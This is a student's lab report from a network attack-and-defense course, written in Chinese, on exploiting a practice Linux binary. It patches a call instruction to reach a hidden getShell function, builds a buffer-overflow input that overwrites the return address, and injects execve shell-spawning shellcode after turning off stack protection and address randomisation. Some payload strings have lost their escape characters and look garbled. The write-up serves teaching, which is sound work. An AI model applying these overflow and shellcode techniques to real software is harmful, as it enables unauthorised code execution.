2019-2020-2 20175315陈煜扬《网络对抗技术》Exp1 PC平台逆向破解

• 2019-2020-2 20175315陈煜扬《网络对抗技术》Exp1 PC平台逆向破解

  1 逆向及Bof基础实践说明

  本次实践的对象是一个名为pwn1的linux可执行文件。

  该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

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  三个实践内容如下：

  手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  注入一个自己制作的shellcode并运行这段shellcode。
  这几种思路，基本代表现实情况中的攻击目标:

  运行原本不可访问的代码片段
  强行修改程序执行流
  以及注入运行任意代码。

  1.2 基础知识

  该实践需要同学们

  熟悉Linux基本操作
  能看懂常用指令,如管道（|），输入、输出重定向（>）等。
  理解Bof的原理。
  能看得懂汇编、机器指令、EIP、指令地址。
  会使用gdb,vi。
  当然，如果还不懂，通过这个过程能对以上概念有了更进一步的理解就更好了。

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  指令、参数

  这些东西，我自己也记不住，都是用时现查的。
  所以一些具体的问题可以边做边查，但最重要的思路、想法不能乱。
  要时刻知道，我是在做什么？现在在查什么数据？改什么数据？要改成什么样？每步操作都要单独实践验证，再一步步累加为最终结果。
  操作成功不重要，照着敲入指令肯定会成功。

  重要的是理解思路。

  看指导理解思路，然后抛开指导自己做。
  碰到问题才能学到知识。
  具体的指令可以回到指导中查。

  2、直接修改程序机器指令，改变程序执行流程

  知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

  学习目标：理解可执行文件与机器指令

  进阶：掌握ELF文件格式，掌握动态技术

  2.1 反汇编查看函数地址

    对pwn1文件进行反汇编，会得到如下结果

 图中080484b5中的指令为call 8048491是说这条指令将调用位于地址8048491处的foo函数；其对应机器指令为“e8 d7ffffff”，e8即跳转之意。

 main函数调用foo，对应机器指令为e8 d7ffffff，那我们想让它调用getShell，只要修改d7ffffff为getShell-80484ba对应的补码就行；用Windows计算器，直接47d-4ba就能得到补码c3ffffff

由此我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff以实现改变程序执行流程

打开我们备份的文件pwn2，显示为乱码，输入:%!xxd将显示模式切换为16进制模式

查找要修改的内容e8d7ffffff，将其修改为c3ffffff，之后使用:%!xxd -r转换16进制为原格式后保存并退出

使用objdump -d pwn2对pwn2反汇编，检查call指令是否正确调用getShell

运行pwn2，发现会得到shell提示符，证明我们的修改成功改变了程序执行流程

3 通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术

3.1反汇编，了解程序的基本功能

• • 首先使用objdump -d pwn1 | more进行反汇编，了解程序的基本功能
    • 
    • 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞，我们的目标是利用此漏洞覆盖返回地址

3.2确认输入字符串哪几个字符会覆盖到返回地址

用gdb pwn1调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出

使用info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址，接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

3.3 确认用什么值来覆盖返回地址

于是我们将getShell的地址0x0804847d把后面的数值替换，即是输入11111111222222223333333344444444x7dx84x04x08

3.4 构造输入字符串

由为我们没法通过键盘输入x7dx84x04x08这样的16进制值，所以先生成包括这样字符串的一个文件。x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。然后使用vim查看input文件的内容是否如预期。

通过管道符|，将input文件作为pwn1的输入。（不知道是什么原因，input里输入的东西没显示出来，但不影响正常使用）

4. 注入Shellcode并执行

 4.1 准备一段Shellcode

shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
实践采用老师推荐的shellcode。如下：
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

4.2准备工作

 在root用户下进行准备工作apt-get install execstack //安装execstack execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行，显示X pwn1则表示可执行 more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭，如显示0则已关闭，否则未关闭 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space

 Linux下有两种基本构造攻击buf的方法：

 retaddr+nop+shellcode

nop+shellcode+retaddr。

 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面,简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

 本次实验使用的缓冲区足够放shellcode，所以采用nops+shellcode+retaddr，使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中

perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf

 再开另外一个终端，用gdb来调试pwn1这个进程，输入ps -ef | grep pwn1找到pwn1的进程号是17190

在gdb中使用attach 17190调试这个进程，使用disassemble foo查看到ret的地址

0xffffd2cc存放的数据是01020304，那么shellcode地址就是0xffffd390

 修改input_shellcode文件对应代码为：

perl -e 'print "A" x 32;print "x90xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

 然后使用(cat input_shellcode;cat) | ./pwn1将input_shellcode的输入，通过管道符“|”，作为pwn1的输入

5 实验收获与感想

这次是网络对抗技术的第一次实验，是关于pc平台的逆向破解的，我通过教程以及不断的请教询问同学们，完成了本次实验。通过本次实验，学会了修改程序机器指令、Shellcode注入执行等新的知识，也巩固了课上所学，不过过程中还是出现了很多问题，这也让我认识到下一次实验和课程中需要更加认真的学习基础知识。

6 什么是漏洞？漏洞有什么危害？

漏洞就是计算机计算机硬件、软件、协议、安全策略等方面的一些设置不当或者安全缺陷，利用这些缺陷，攻击者可以对计算机系统进行攻击。
可能会导致受害者受到经济损失、机密泄露、隐私暴露、数据篡改等方面的危害。